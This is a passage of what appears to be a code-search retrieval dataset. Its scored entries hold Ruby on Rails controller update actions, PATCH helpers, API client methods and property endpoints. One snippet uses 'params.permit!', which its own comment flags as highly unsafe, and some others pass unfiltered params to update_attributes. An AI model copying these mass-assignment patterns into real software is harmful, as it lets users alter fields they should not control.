},
{
"docid": "ce13de0dfab70b1759321b7929cfc496",
"score": "0.5569052",
"text": "def update\n update_params = params.permit! # FIX-ME: This is highly unsafe\n\n observation = Observation.find(params[:id])\n if observation.update(update_params)\n render json: observation, status: :created\n else\n render json: observation.errors, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "60b03e19119fc5678e29b4aed621170b",
"score": "0.55655897",
"text": "def update_doi(doi, request_body_json)\n response = connect.put(\"/dois/#{doi}\") do |req|\n req.headers['Content-Type'] = 'application/vnd.api+json'\n req.body = request_body_json\n end\n logger.debug(\"API response body: #{response.body}\")\n response\n end",
"title": ""
},
{
"docid": "e80a9085212b7c71d51f2985e7973b92",
"score": "0.55651754",
"text": "def update_chargeback_with_http_info(chargeback, chargeback_dispute_oid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ChargebackApi.update_chargeback ...'\n end\n # verify the required parameter 'chargeback' is set\n if @api_client.config.client_side_validation && chargeback.nil?\n fail ArgumentError, \"Missing the required parameter 'chargeback' when calling ChargebackApi.update_chargeback\"\n end\n # verify the required parameter 'chargeback_dispute_oid' is set\n if @api_client.config.client_side_validation && chargeback_dispute_oid.nil?\n fail ArgumentError, \"Missing the required parameter 'chargeback_dispute_oid' when calling ChargebackApi.update_chargeback\"\n end\n # resource path\n local_var_path = '/chargeback/chargebacks/{chargeback_dispute_oid}'.sub('{' + 'chargeback_dispute_oid' + '}', chargeback_dispute_oid.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json; charset=UTF-8'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(chargeback)\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ChargebackDisputeResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ChargebackApi#update_chargeback\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "1149ec1c897353b8705976b397a54e77",
"score": "0.55640787",
"text": "def update\n invention.update(invention_params)\n respond_with invention\n end",
"title": ""
},
{
"docid": "63686b23d548d352954518c736c25119",
"score": "0.5553487",
"text": "def patch(path, data, headers = {})\n request(:patch, path, data, headers)\n end",
"title": ""
},
{
"docid": "c426d6bb78e58c7c82d1981c0a9a9694",
"score": "0.55505824",
"text": "def update\n @discipline = Discipline.find(params[:id])\n\n respond_to do |format|\n if @discipline.update_attributes(discipline_params)\n format.html { redirect_to @discipline, notice: 'Discipline was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67ac1bbff1c414be96c34b325cdea32f",
"score": "0.5540345",
"text": "def update\n get_event\n @event_prerequisite = @event.prerequisites.find(params[:id])\n @event_prerequisite.update_attributes(params[:event_prerequisite])\n\n respond_to do |format|\n format.json { respond_with_bip(@event_prerequisite) }\n end\n end",
"title": ""
},
{
"docid": "efb61e8f143294fe302eed521aa331ef",
"score": "0.55355024",
"text": "def edit_fee_discount\n @batch = Batch.shod(params[:id])\n @master_category = FinanceFeeCategory.shod(params[:master_id])\n @discount = @master_category.fee_discounts.shod(params[:discount_id])\n authorize! :update, @discount\n end",
"title": ""
},
{
"docid": "ad9229a86014bc1bceadc748c11da4ba",
"score": "0.55211985",
"text": "def update\n #1st you retrieve the dish thanks to params[:dish_id]\n @dish = Dish.find(params[:dish_id])\n #2nd you get all ingredients for this dish\n @ingredient = @dish.ingredients.find(params[:id])\n \n respond_to do |format|\n if @ingredient.update(ingredient_params)\n format.json { head :no_content }\n format.js\n else\n format.json { render json: @ingredient.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "585ca0c9953820724e4c314b8b4a6914",
"score": "0.5518497",
"text": "def update\n respond_to do |format|\n if @fabrics_rack.update(fabrics_rack_params)\n format.html do\n redirect_to @fabrics_rack,\n notice: 'On rack was successfully updated.'\n end\n format.json do\n render :show, status: :ok, location: @fabrics_rack\n end\n else\n format.html { render :edit }\n format.json do\n render json: @fabrics_rack.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "02bc216f762a242e721daa822bcbedb3",
"score": "0.55172664",
"text": "def update\n\n @surgery_type.surgery_recipe_reqs\n respond_to do |format|\n if @surgery_type.update(surgery_type_params)\n redirect_to root_path\n else\n format.html { render :edit }\n format.json { render json: @surgery_type.errors, status: :unprocessable_entity }\n end\n end\n # @surgery_type.surgery_recipe_reqs.where(supply_list_id: params[:id]).each do |srr|\n # srr.update!(qty: params[:surgery_recipe_req][:qty])\n # end\n end",
"title": ""
},
{
"docid": "f107d05d636ae922784afbf0fc9fa149",
"score": "0.55113316",
"text": "def update\n\t@discipline = Discipline.find(params[:Discipline_id])\n\t@discanexo = @discipline.discanexos.find(params[:id])\n\trespond_to do |format|\n\t\tif @discanexo.update_attributes(discanexo_params)\n\t\t\tformat.html { redirect_to discipline_path(@discipline), notice: 'Discanexo was successfully updated.' }\n\t\t\tformat.json { head :no_content }\n\t\telse\n\t\t\tformat.html { render action: \"edit\" }\n\t\t\tformat.json { render json: @discanexo.errors, status: :unprocessable_entity }\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "8526bda945752e27df3ffdba1b7efea0",
"score": "0.5510826",
"text": "def update_mobile_carrier(args = {}) \n put(\"/mobile.json/#{args[:carrierId]}\", args)\nend",
"title": ""
},
{
"docid": "e99417b21b5d09c90527e3849fa2ad61",
"score": "0.551004",
"text": "def update\n aep = animal_enclosure_params[\"animal_id\"]\n query = AnimalEnclosure.find_by(:enclosure_id=>@enclosure.id)\n\n respond_to do |format|\n if @enclosure.update(enclosure_params)\n # Update animal/enclosure relationship as necessary\n if query == nil\n # No relationship found so create a new one\n AnimalEnclosure.create(:animal_id=>aep, :enclosure_id=>@enclosure.id)\n\n format.html { redirect_to @enclosure, notice: \"Enclosure was successfully updated with animal #{Animal.find(aep).name}.\" }\n else\n # Destroy previous relationship and create a new one\n query.destroy\n AnimalEnclosure.create(:animal_id=>aep, :enclosure_id=>@enclosure.id)\n\n format.html { redirect_to @enclosure, notice: \"Enclosure was successfully created without animals.\" }\n end\n format.json { render :show, status: :ok, location: @enclosure }\n else\n format.html { render :edit }\n format.json { render json: @enclosure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "43e8f0bca4534c5f973451762b036fb9",
"score": "0.5499515",
"text": "def update\n respond_to do |format|\n if @api_v1_budget.update(api_v1_budget_params)\n format.html { redirect_to @api_v1_budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_budget }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "baaf35156231a9df9784bb5cc2ba7f42",
"score": "0.54942244",
"text": "def update\n @card = Card.find(params[:id])\n params[:card][:resolved] = true if params[:resolve]\n\n respond_to do |format|\n if @card.update(params[:card])\n format.html { redirect_to edit_card_path(@card), notice: \"Card was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render :form }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "352f2ec67a98ba202160f1b2b0c2e7ad",
"score": "0.54861164",
"text": "def update\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n Notifier.became_owner(@expense).deliver if (@expense.owner_id_changed?) and (@expense.owner_id?)\n Notifier.status_changed(@expense).deliver if @expense.expense_status_id_changed?\n \n format.html { redirect_to get_expense_list_path, flash: { success: \"Expense '#{@expense.purpose}' was successfully updated.\" } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "03b14059c43d89ea05d1fc496754ac14",
"score": "0.54857904",
"text": "def update\n do_patch { return } # check if patch and do submission and return early if it is a patch (submission)\n # otherwise this is a PUT of the dataset metadata\n check_status { return } # check it's in progress, clone a submitted or raise an error\n respond_to do |format|\n format.json do\n dp = DatasetParser.new(hash: params['dataset'], id: @resource.identifier, user: @user)\n @stash_identifier = dp.parse\n ds = Dataset.new(identifier: @stash_identifier.to_s) # sets up display objects\n render json: ds.metadata, status: 200\n end\n end\n end",
"title": ""
},
{
"docid": "d43810a124698391b4a041e5dab0fd36",
"score": "0.5483668",
"text": "def update\n respond_to do |format|\n if @discipline.update(discipline_params)\n format.html { redirect_to @discipline, notice: 'Discipline was successfully updated.' }\n format.json { render :show, status: :ok, location: @discipline }\n else\n format.html { render :edit }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c97a4cffaaa6ad60fea7a61e7cb46a4",
"score": "0.54829866",
"text": "def update\n @charge = Charge.find(params[:id])\n\n if @charge.update(charge_params)\n head :no_content\n else\n render json: @charge.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "85f533646c09e2d1b1d8ab4a7b4e4c6e",
"score": "0.5482635",
"text": "def patch_object(path, id, info, attributes_to_delete = nil)\n info = info.merge(meta: { attributes: Util.arglist(attributes_to_delete) }) if attributes_to_delete\n json_parse_reply(*json_patch(@target, \"#{path}/#{URI.encode(id)}\", info, @auth_header))\n end",
"title": ""
},
{
"docid": "b15aa978211291963a3aebfca72283e5",
"score": "0.548171",
"text": "def update\n logger.info('PATCH Contribution JSON: ')\n logger.info(request_body)\n\n params = hashed_request\n if params[:cap_profile_id].blank? && params[:sul_author_id].blank?\n log_and_error! \"The request is missing 'sul_author_id' and 'cap_profile_id'.\", :bad_request\n return\n end\n author = params[:cap_profile_id] ? get_cap_author!(params[:cap_profile_id]) : get_sul_author!(params[:sul_author_id])\n return unless author # can't find the author\n return unless author_id_consistent?(author, params[:cap_profile_id]) # ids aren't consistent\n\n if params[:sul_pub_id].blank?\n render json: { error: 'You have not supplied the publication identifier sul_pub_id' }, status: :bad_request,\n format: :json\n return\n end\n\n # Find an existing contribution by author/publication\n contributions = Contribution.where(\n author_id: author.id,\n publication_id: params[:sul_pub_id]\n )\n if contributions.empty?\n log_and_error!(\"SULCAP has no contributions by the author:#{author.id} for the publication:#{params[:sul_pub_id]}\")\n return\n elsif contributions.length > 1\n # Hitting this block of code should be a cause for concern, bad internal data\n log_and_error!(\n \"SULCAP has multiple contributions by the author:#{author.id} for the publication:#{params[:sul_pub_id]}\", :internal_server_error\n )\n return\n end\n pub = contributions.first.publication\n\n unless pub\n # Also a cause for concern, bad internal data\n log_and_error!('No publication found', :internal_server_error)\n return\n end\n\n # We've now got the contribution, gather the new attributes. In a PATCH\n # request, it's OK if some of them are missing; validate only the\n # fields provided. When check for 'featured', use .nil? because it\n # is allowed to have a `false` value.\n unless !contrib_attr[:featured].nil? || contrib_attr[:status].present? || contrib_attr[:visibility].present?\n render json: { error: \"At least one authorship attribute is required: 'featured', 'status', 'visibility'.\" },\n status: :not_acceptable, format: :json\n return\n end\n\n pub_hash = create_or_update_and_return_pub_hash(pub, author, contrib_attr)\n return unless pub_hash\n\n render json: pub_hash.to_json, format: :json, status: :accepted\n end",
"title": ""
},
{
"docid": "f3a0a80203c96311f7b0b87af0fd802c",
"score": "0.5476009",
"text": "def update\n @userdisciplines = UserDisciplines.find(params[:id])\n\n respond_to do |format|\n if @userdisciplines.update_attributes(params[:discipline])\n format.html { redirect_to @userdisciplines, notice: t(:discipline_successfully_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @userdisciplines.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b94dbbdf4b9dce307aebd8280bc8d790",
"score": "0.54733396",
"text": "def update\n @containment = Containment.find(params[:id])\n\n respond_to do |format|\n if @containment.update_attributes(params[:containment])\n format.html { redirect_to @containment, notice: 'Containment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @containment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ff5b557acb5b43e5f35cd12653dc85b1",
"score": "0.54733235",
"text": "def patch(path, data = {}, headers = {})\n exec_request(:patch, path, data, headers)\n end",
"title": ""
},
{
"docid": "b6fa01f47e98517c25244f09d3380c2d",
"score": "0.54726416",
"text": "def update\n enforce_permissions!('edit', params[:id])\n\n supported_licences\n @object = retrieve_object!(params[:id])\n\n if params[:digital_object][:governing_collection_id].present?\n collection = retrieve_object(params[:digital_object][:governing_collection_id])\n @object.governing_collection = collection\n end\n\n @object.assign_attributes(update_params)\n\n unless @object.valid?\n flash[:alert] = t('dri.flash.alert.invalid_object', error: @object.errors.full_messages.inspect)\n format.html { render action: 'edit' }\n return\n end\n\n @object.increment_version\n\n respond_to do |format|\n checksum_metadata(@object)\n\n if save_and_index\n post_save do\n mint_or_update_doi(@object, doi) if doi\n end\n\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n format.html { redirect_to controller: 'my_collections', action: 'show', id: @object.alternate_id }\n format.json { render json: @object }\n else\n flash[:alert] = t('dri.flash.error.unable_to_persist')\n format.html { render action: 'edit' }\n end\n end\n end",
"title": ""
},
{
"docid": "ad95665324538c58fc4fe5ddb84bcb01",
"score": "0.5472416",
"text": "def update\n head :forbidden\n return false\n\n #@resident = Resident.find(params[:id])\n #\n #\n # if @resident.update_attributes(params[:resident])\n # head :no_content\n # else\n # render json: @resident.errors, status: :unprocessable_entity\n # end\n\n end",
"title": ""
},
{
"docid": "d27e1d259c73d26eb385ed3527e61319",
"score": "0.5468779",
"text": "def update\n respond_to do |format|\n if @expense_responsibility.update(expense_responsibility_params)\n format.html { redirect_to @expense_responsibility, notice: 'Expense responsibility was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense_responsibility }\n else\n format.html { render :edit }\n format.json { render json: @expense_responsibility.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0bb865fa7ff78e8071caa48a93ad52c4",
"score": "0.5467236",
"text": "def update\n @expense = Expense.find(params[:id])\n @refund = Refund.find_by_code(params[:expense][\"refund_id\"])\n params[:expense][\"refund_id\"] = @refund.id if !@refund.nil? && !@refund.id.nil?\n @expense.user_id = current_user.id unless current_user.admin?\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to @expense, notice: 'El gasto ha sido actualizado.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n # format.js\n end\n end\n end",
"title": ""
},
{
"docid": "1b43604bd409d8c4644421c395d71320",
"score": "0.5466566",
"text": "def update\n\t\t\t\trender json: {}, status: 405\n\t\t\tend",
"title": ""
},
{
"docid": "fdb6fd1ad90795d4091f430832940fd5",
"score": "0.5462168",
"text": "def patch(path, data = nil, headers = nil)\n req = Net::HTTP::Patch.new(path, (headers || {}).merge(@request_headers))\n req.basic_auth(@api_key, 'x')\n req.body = data.to_json unless data.nil?\n res = @http.start { |session| session.request(req) }\n\n handle_response(res)\n end",
"title": ""
},
{
"docid": "2c5497f059ab1d7457ffc834ecb8f6a2",
"score": "0.5461903",
"text": "def patch(path, params = {})\n request(:patch, path, params)\n end",
"title": ""
},
{
"docid": "8a1fcbdae3046e2102f533f681b61c66",
"score": "0.5454888",
"text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"josh@gmail.com\"}} )\nend",
"title": ""
},
{
"docid": "62f5eb12d8174e1ff9983a9757a44239",
"score": "0.5451771",
"text": "def update\n @knack = Knack.find(params[:id])\n \n respond_to do |format|\n if @knack.update_attributes(params[:knack])\n format.html { redirect_to :action => \"edit\" }\n format.json { render json: @knack }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @knack.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "431858658800c05f6aefddecaf05cc00",
"score": "0.54411197",
"text": "def dock_upsert_patch_docks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DockApi.dock_upsert_patch_docks ...\"\n end\n # resource path\n local_var_path = \"/Docks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'data'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Dock')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DockApi#dock_upsert_patch_docks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "880fdebd4338216eebaf73be6dc50218",
"score": "0.5440549",
"text": "def update\n @ref_isoform = RefIsoform.find(params[:id])\n\n respond_to do |format|\n if @ref_isoform.update_attributes(params[:ref_isoform])\n format.html { redirect_to @ref_isoform, notice: 'Ref isoform was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ref_isoform.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "88ae7a7ca6b19be27557878a0751df07",
"score": "0.5440482",
"text": "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bd3b5223f5c9cf11b1b18dd905fe6948",
"score": "0.5440334",
"text": "def update\n respond_to do |format|\n if @flare.update(flare_params)\n format.html { redirect_to @flare, notice: 'Flare was successfully updated.' }\n format.json { render :show, status: :ok, location: @flare }\n else\n format.html { render :edit }\n format.json { render json: @flare.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa8d00643dc0bd61363d547aa171145",
"score": "0.54357505",
"text": "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa8d00643dc0bd61363d547aa171145",
"score": "0.54357505",
"text": "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e2f3b99d8acdc95a08492878bb59822",
"score": "0.5435669",
"text": "def patch(path, attributes)\n resp = token.post(prefix + path, attributes.to_json, HEADERS.merge({\"x-http-method-override\" => \"PATCH\"}))\n end",
"title": ""
},
{
"docid": "a27182c690c1ebfde9525f8c4b750cae",
"score": "0.54351383",
"text": "def update\n prepare_referral\n respond_to do |format|\n if @referral.update(referral_params)\n format.json { render json: @referral, status: :ok }\n else\n format.json { render json: @referral.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "00e78f549976a03f8bbefb0a802ff425",
"score": "0.5433688",
"text": "def update\n respond_to do |format|\n if @api_v1_initiative_expense.update(api_v1_initiative_expense_params)\n format.html { redirect_to @api_v1_initiative_expense, notice: 'Initiative expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6abadbff2c699f2a64835ab43451aae9",
"score": "0.543064",
"text": "def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to budget_expense_path(@budget, @expense), notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: budget_expense_path(@budget, @expense) }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa82072567f854fa73dabb2458a50415",
"score": "0.5430051",
"text": "def update\n @badge = Badge.find(params[:id])\n\n if @badge.update(badge_params)\n head :no_content\n else\n render json: @badge.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "dbb28b78ebd14a35895337cf6eecee2a",
"score": "0.5428623",
"text": "def patch(path, data = nil)\n request(:patch, path, data)\n end",
"title": ""
},
{
"docid": "50acb5b41ced779089d892860cf37477",
"score": "0.54284906",
"text": "def update\n @plano_discagem = PlanoDiscagem.find(params[:id])\n\n respond_to do |format|\n if @plano_discagem.update_attributes(params[:plano_discagem])\n format.html { redirect_to @plano_discagem, notice: 'Plano discagem alterado com sucesso!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plano_discagem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
11007373710144246a3cef4e3501bf4f
|
GET /properties/1 GET /properties/1.json
|
[
{
"docid": "667297f6bda7eb5d833166ec0cff274d",
"score": "0.0",
"text": "def show\n PropertyVisited.create(\n user_id: current_user.id,\n property_id: params[:id]\n ) if current_user\n @contact_request = ContactRequest.new\n end",
"title": ""
}
] |
[
{
"docid": "0bf5477934b357705f9f253da9b9b1fe",
"score": "0.7496478",
"text": "def show\n @property = Property.find(params[:id])\n\n render json: @property\n end",
"title": ""
},
{
"docid": "45e3beeffb8bc807c13b4fe7e42983c5",
"score": "0.7347074",
"text": "def show\n property = Property.find params[:id]\n respond_to do |format|\n format.html {}\n format.json { render :json => property}\n end\n end",
"title": ""
},
{
"docid": "78ff0d0d13f47bd40a4b691840becca8",
"score": "0.7304781",
"text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "548200758536a6a255c393e22b5c564e",
"score": "0.72560406",
"text": "def my_properties\n @api_v1_properties = current_api_v1_user.properties.\n includes(:reservations).\n order(\"reservations.created_at DESC\")\n\n render template: '/api/v1/properties/index', status: 200\n end",
"title": ""
},
{
"docid": "09b47dd045ec493bf7f6759044c2392a",
"score": "0.7233263",
"text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "09b47dd045ec493bf7f6759044c2392a",
"score": "0.7233263",
"text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "09b47dd045ec493bf7f6759044c2392a",
"score": "0.7233263",
"text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "09b47dd045ec493bf7f6759044c2392a",
"score": "0.7233263",
"text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "47f4197afd04bd89f78fbbc4ed578173",
"score": "0.7187529",
"text": "def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"title": ""
},
{
"docid": "2207741499297889beeb1213489c7d49",
"score": "0.71720874",
"text": "def index\n @properties = Property.all\n\n render json: @properties\n end",
"title": ""
},
{
"docid": "77f8f53690b1e37834177617f2ec2784",
"score": "0.71457875",
"text": "def index\n @api_v1_properties = Api::V1::Property.all\n end",
"title": ""
},
{
"docid": "68b4acb676bb0e3b77a79768e6b71da0",
"score": "0.7129162",
"text": "def relationship_get_property id, name\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n\n get_request 'relationship/' + id + '/properties/' + name, headers\n end",
"title": ""
},
{
"docid": "d848e2abbeb86339a98b9d1d3de963c9",
"score": "0.70889425",
"text": "def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"title": ""
},
{
"docid": "d848e2abbeb86339a98b9d1d3de963c9",
"score": "0.70887244",
"text": "def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"title": ""
},
{
"docid": "d848e2abbeb86339a98b9d1d3de963c9",
"score": "0.70887244",
"text": "def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"title": ""
},
{
"docid": "fa8b41bc6e1694b7f80bea1a67c10fdf",
"score": "0.70553535",
"text": "def show\n #@property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "96604259ff487bfc7f3b35e0a60efdd1",
"score": "0.7040372",
"text": "def show\n property = Property.by_key(params[:id], nil, current_user.id)\n if property\n respond_to do |format|\n format.json { render :json => jsonp(properties_to_json([property])) }\n format.xml { render :xml => properties_to_xml([property]) }\n format.text { render :text => text_not_supported }\n end\n else\n render_error('Not found', 404)\n end\n end",
"title": ""
},
{
"docid": "95c79a286e8cc6ae0f47934d9a663e61",
"score": "0.69893247",
"text": "def index\n id = params[:id].to_i\n\n if id != 0\n @properties = @properties.paginate(page: params[:page], per_page: 10).\n order('ensure_availability_before_booking desc, name').\n find_all_by_id(id)\n if @properties.any?\n @property_name = @properties.first.name\n end\n else\n @properties = @properties.paginate(page: params[:page], per_page: 10).\n order('ensure_availability_before_booking desc, name').find(:all)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"title": ""
},
{
"docid": "7d9bcf7a9123564dfdccb628a5d0ceca",
"score": "0.6987463",
"text": "def my_properties\n @api_v1_properties = current_api_v1_user.properties\n .includes(:reservations)\n .order('reservations.created_at DESC')\n\n render template: '/api/v1/properties/index', status: 200\n end",
"title": ""
},
{
"docid": "16b5f50f52de7e458d04c776a8342e1d",
"score": "0.6971353",
"text": "def get_properties\n xml = client.call(\"#{attributes[:url]}/property\").parsed_response\n xml.css('properties property').map { |p| Vebra::Property.new(p, self) }\n end",
"title": ""
},
{
"docid": "583175cc65500fa37eaa1eb7d6396772",
"score": "0.6939464",
"text": "def show\n respond_to do |format|\n format.html {}\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "92d05564b96898aee95694258fb64057",
"score": "0.69108415",
"text": "def index\n\n @properties = Property.search( params[:query] || \"\" )\n\n respond_to do |format|\n\n format.html\n format.json { render json: @properties }\n\n end\n\n end",
"title": ""
},
{
"docid": "3a1d380a397070a109e77bf45f05f4b5",
"score": "0.68753433",
"text": "def show\n @sample_property = SampleProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sample_property }\n end\n end",
"title": ""
},
{
"docid": "a40ee4d0e2e504ac31b0ca4cb923e0b4",
"score": "0.6842614",
"text": "def get_properties()\n resp = conn.get('/users/'+name+'/props/')\n \n case resp.code.to_i\n when 200\n return JSON.parse(resp.body)\n when 404\n raise RestAuthUserNotFound.new( resp )\n else\n raise RestAuthUnknownStatus.new( rest )\n end\n end",
"title": ""
},
{
"docid": "93477cc6da7cf40007d8879de5ddc8fd",
"score": "0.68410856",
"text": "def show\n @estate_agent = EstateAgent.find(params[:id])\n @properties = Property.where(\"estate_agent_id = ?\", @estate_agent.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @properties }\n end\n end",
"title": ""
},
{
"docid": "f0a4407359a3f24787b7304ef2274863",
"score": "0.682568",
"text": "def show\n @property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "4d33cd29066775868d1c70a20a500db3",
"score": "0.6814403",
"text": "def featured\n properties = []\n begin\n # Try to get the 3 properties with priority flag\n Property.where(priority: true, status: :active).order('RANDOM()').limit(3).each { |p| properties << p }\n\n # Get the missing properties\n missing = 3 - properties.count\n Property.where(priority: false, status: :active).order('RANDOM()').limit(missing).each { |p| properties << p } if missing > 0\n\n @api_v1_properties = properties\n\n render template: '/api/v1/properties/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "b284ea51141a45b173a4df6967879fc6",
"score": "0.68058234",
"text": "def show\n @prop = Prop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prop }\n end\n end",
"title": ""
},
{
"docid": "bf027285d149c04435e2a9463014bb62",
